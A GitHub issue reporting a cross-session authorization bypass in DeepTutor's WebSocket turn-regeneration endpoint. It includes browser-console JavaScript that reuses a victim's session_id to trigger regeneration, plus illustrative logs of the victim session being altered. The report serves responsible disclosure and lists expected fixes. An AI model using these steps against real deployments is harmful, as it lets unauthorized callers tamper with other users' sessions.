Skip to content

[Bug]:Cross-Session Authorization Bypass in Turn Regeneration - Unauthorized Session Manipulation #515

Description

@Ro1ME

Do you need to file an issue?

  • I have searched the existing issues and this bug is not already filed.
  • I believe this is a legitimate bug, not just a question or feature request.

Describe the bug

DeepTutor contains a cross-session authorization bypass vulnerability in the turn regeneration flow. An unauthorized caller can reuse another user's session_id in a WebSocket regenerate request to trigger unauthorized turn regeneration and state mutation on the victim's session.

The vulnerability exists in deeptutor/services/session/turn_runtime.py:TurnRuntimeManager.regenerate_last_turn where the WebSocket endpoint does not validate that the caller has ownership or authorization to regenerate turns for the session identified by the user-controlled session_id parameter.

Steps to reproduce

  1. Install and start DeepTutor:

    • Clone the repository and install dependencies
    • Start the service according to upstream documentation
    • Open the web application in a browser
  2. Create a victim session (Browser 1 - Victim Context):

    • Create a normal chat session through the product UI
    • Send a harmless message and wait for the turn to complete
    • Open Developer Tools → Network tab
    • Inspect WebSocket frames or session API responses
  3. Capture the victim session_id:

    • Record the session_id from Network tab WebSocket frames
    • Alternative: Run in Console: fetch('/api/v1/sessions').then(r => r.json()).then(console.log)
    • Copy an existing completed session_id (e.g., "abc123-victim-session")
  4. Open a second browser context (Browser 2 - Attacker Context):

    • Use a different browser profile or incognito/private window
    • Do NOT reuse the victim's session cookies or authentication
    • Open the service URL and Developer Tools → Console
  5. Establish WebSocket connection from attacker context:

    // In Browser 2 Console
    const ws = new WebSocket('ws://localhost:PORT/api/v1/ws'); // Adjust protocol and port
    ws.onmessage = e => console.log('Received:', e.data);
    ws.onopen = () => console.log('WebSocket connected');
  6. Send unauthorized regenerate request:

    // After WebSocket opens, send regenerate command with victim's session_id
    ws.send(JSON.stringify({
      type: "regenerate",
      session_id: "abc123-victim-session"  // Victim's session_id from step 3
    }));
  7. Observe the response:

    • Keep Console open and watch WebSocket messages
    • A secure implementation should reject the request with 401/403
    • Vulnerable implementation will accept and process the regenerate request
  8. Verify unauthorized session mutation (Browser 1 - Victim Context):

    • Return to the victim browser and refresh the session page
    • Or run in Console: fetch('/api/v1/sessions/abc123-victim-session').then(r => r.json()).then(console.log)
    • Confirm that a new regenerate turn or metadata was created on the victim session
    • Verify the session state changed due to the attacker's WebSocket message
  9. Confirm no authorization check:

    • Verify the server did not reject the request based on session ownership
    • Review deeptutor/services/session/turn_runtime.py to confirm missing authorization

Expected Behavior

The WebSocket regenerate endpoint should:

  • Validate that the caller has ownership or authorization to regenerate turns for the specified session_id
  • Return an error response (e.g., {"error": "Unauthorized", "code": 403}) when an unauthorized caller attempts to regenerate another user's session
  • Implement proper session-level authorization checks before mutating session state
  • Bind sessions to their creator/owner and enforce this binding on all session operations
  • Reject cross-session requests before any state mutation occurs

Related Module

API/Backend

Configuration Used

Default DeepTutor configuration

No special configuration required to reproduce

Vulnerability exists in default WebSocket implementation

Logs and screenshots

Console - Victim session_id captured:

{
  "session_id": "abc123-victim-session",
  "user_id": "victim_user",
  "turns": [
    {"role": "user", "content": "Original message"},
    {"role": "assistant", "content": "Original response"}
  ]
}

WebSocket - Unauthorized regenerate request from attacker:

// Browser 2 Console
ws.send(JSON.stringify({
  type: "regenerate",
  session_id: "abc123-victim-session"  // Victim's session
}));

// WebSocket response (vulnerable):
// {"status": "success", "message": "Regenerating turn..."}
// Should have been: {"error": "Unauthorized", "code": 403}

Verification - Victim session mutated:

{
  "session_id": "abc123-victim-session",
  "user_id": "victim_user",
  "turns": [
    {"role": "user", "content": "Original message"},
    {"role": "assistant", "content": "Original response"},
    {"role": "assistant", "content": "Regenerated response", "regenerated": true}  // Added by attacker!
  ],
  "last_regenerated_at": "2026-04-24T10:30:00Z"  // Timestamp changed!
}

Additional Information

  • DeepTutor Version:v1.4.0
  • Operating System: Windows 11, macOS 14.0, Ubuntu 22.04 (all affected)
  • Python Version: 3.10+
  • Node.js Version: 18.17.0+
  • Browser (if applicable): Chrome 120+, Firefox 121+ (any modern browser with WebSocket support)
  • Related Issues: None

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions